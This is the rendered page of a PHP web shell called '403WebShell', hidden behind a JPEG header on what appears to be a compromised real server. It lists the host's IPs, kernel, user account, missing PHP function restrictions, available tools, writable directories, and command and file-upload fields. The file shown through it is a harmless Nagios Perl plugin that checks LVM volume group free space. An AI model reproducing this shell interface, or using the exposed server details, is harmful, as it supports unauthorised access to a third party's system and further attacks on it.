����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.117.241.170
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_vg
#!/usr/bin/env perl

use extreme;
use Getopt::Long;

my %ERRORS = ( 'OK' => 0, 'WARNING' => 1, 'CRITICAL' => 2, 'UNKNOWN' => 3 );

my ( $warn, $crit, $vg, $help );
GetOptions(
    "w|warning=i"  => \$warn,
    "c|critical=i" => \$crit,
    "vg=s"         => \$vg,
    "h|help"       => \$help,
);
if ( $help || !$vg || !$warn || !$crit ) {
    my $help_text = <<'END';
Usage: %s [ -c 10 -w 20 --vg vg ]

Gen warn|crit nagios report if free space in VG less then params in percent.
  -h (--help)
END
    printf($help_text );
    exit $ERRORS{'UNKNOWN'};
}

# check is vg exists
my $vgs
  = `vgs --noheadings --nosuffix --separator " " --rows --options vg_name`;
$vgs =~ s/^\s+//gm;
my @vgs = split /\s+/, $vgs;
chomp @vgs;
if ( not $vg ~~ @vgs ) {
    say "VG $vg - Not found";
    exit $ERRORS{'UNKNOWN'};
}
my $out
  = `vgs --noheadings --nosuffix --units b --separator " " --options vg_size,vg_free $vg`;
$out =~ s/^\s+//gm;
my ( $size, $free ) = split /\s+/, $out;

my $f = sub { return sprintf( '%.f', $_[0] ) };
my $used = $f->( ( ( $size - $free ) / 1073741824 ) );
$size = $f->( $size / 1073741824 );
$free = $f->( $free / 1073741824 );

my $percent = ( $free / $size ) * 100;

my $ERR
  = ( $percent < $crit ) ? 'CRITICAL'
  : ( $percent < $warn ) ? 'WARNING'
  :                        'OK';
my $result
  = "VG $ERR - free space: $vg "
  . $free . 'GB ('
  . sprintf( '%.2f', $percent ) . '%)';
$result
  .= "| $vg="
  . $used . ';'
  . $f->( $size * ( $warn / 100 ) ) . ';'
  . $f->( $size * ( $crit / 100 ) )
  . ";0;$size";

say $result;
exit $ERRORS{$ERR};

Youez - 2016 - github.com/yon3zu
LinuXploit